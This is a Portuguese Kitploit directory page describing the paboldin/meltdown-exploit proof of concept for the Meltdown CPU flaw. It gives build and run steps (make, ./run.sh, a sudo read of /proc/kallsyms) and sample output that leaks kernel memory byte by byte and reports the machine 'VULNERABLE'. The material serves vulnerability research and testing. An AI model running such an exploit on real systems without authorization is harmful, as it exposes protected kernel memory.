Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
meltdown-exploit — Meltdown Exploit PoC | Kitploit
Ferramentas/GitHubGitHub/paboldin/meltdown-exploit
Forensia de MemóriaAnálise de VulnerabilidadesExploraçãoExploração de Binários
GitHubpaboldin/meltdown-exploit

meltdown-exploit

Meltdown Exploit PoC

Ver Repositório
9492635há 8 anosRevisado pelo Kitploit

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

MELTDOWN EXPLOIT POC

Otimizações especulativas executam código de forma não segura, deixando vestígios de dados na microarquitetura, como no cache.

Lipp et al. 2018 publicou seu código em 2018-01-09 em https://github.com/IAIK/meltdown. Veja o artigo para detalhes: https://meltdownattack.com/meltdown.pdf.

Só é possível despejar linux_proc_banner no momento, pois requer que a memória acessada esteja no cache e linux_proc_banner é armazenado em cache a cada leitura de /proc/version. Pode funcionar com prefetch. Funciona com sched_yield.

Compile com make, execute com ./run.sh.

Ainda não consegue derrotar o KASLR, então pode ser necessário inserir sua senha para encontrar linux_proc_banner em /proc/kallsyms (ou fazer manualmente).

A abordagem Flush+Reload e array alvo foi retirada do artigo sobre Spectre https://spectreattack.com/spectre.pdf implementada seguindo pistas de https://cyber.wtf/2017/07/28/negative-result-reading-kernel-memory-from-user-mode/.

A caixa de Pandora está aberta.

Dê uma olhada na exploração completa que funciona com a versão do IAIK na minha máquina.

Resultado:

root@kitploit:~
$ make
cc -O2 -msse2   -c -o meltdown.o meltdown.c
cc   meltdown.o   -o meltdown
$ ./run.sh 
looking for linux_proc_banner in /proc/kallsyms
protected. requires root
+ find_linux_proc_banner /proc/kallsyms sudo
+ sudo awk 
	/linux_proc_banner/ {
		if (strtonum("0x"$1))
			print $1;
		exit 0;
	} /proc/kallsyms
+ linux_proc_banner=ffffffffa3e000a0
+ set +x
cached = 29, uncached = 271, threshold 88
read ffffffffa3e000a0 = 25 %
read ffffffffa3e000a1 = 73 s
read ffffffffa3e000a2 = 20  
read ffffffffa3e000a3 = 76 v
read ffffffffa3e000a4 = 65 e
read ffffffffa3e000a5 = 72 r
read ffffffffa3e000a6 = 73 s
read ffffffffa3e000a7 = 69 i
read ffffffffa3e000a8 = 6f o
read ffffffffa3e000a9 = 6e n
read ffffffffa3e000aa = 20  
read ffffffffa3e000ab = 25 %
read ffffffffa3e000ac = 73 s
read ffffffffa3e000ad = 20  
read ffffffffa3e000ae = 28 (
read ffffffffa3e000af = 62 b
read ffffffffa3e000b0 = 75 u
read ffffffffa3e000b1 = 69 i
read ffffffffa3e000b2 = 6c l
read ffffffffa3e000b3 = 64 d
read ffffffffa3e000b4 = 64 d
read ffffffffa3e000b5 = 40 @
VULNERABLE
VULNERABLE ON
4.10.0-42-generic #46~16.04.1-Ubuntu SMP Mon Dec 4 15:57:59 UTC 2017 x86_64
processor	: 0
vendor_id	: GenuineIntel
cpu family	: 6
model		: 158
model name	: Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz
stepping	: 9
microcode	: 0x5e
cpu MHz		: 3499.316
cache size	: 6144 KB
physical id	: 0

Funciona em

A lista de CPUs/Kernels vulneráveis foi movida para: https://github.com/paboldin/meltdown-exploit/issues/19

A lista de CPUs/Kernels invulneráveis foi movida para: https://github.com/paboldin/meltdown-exploit/issues/22

Baixar ferramenta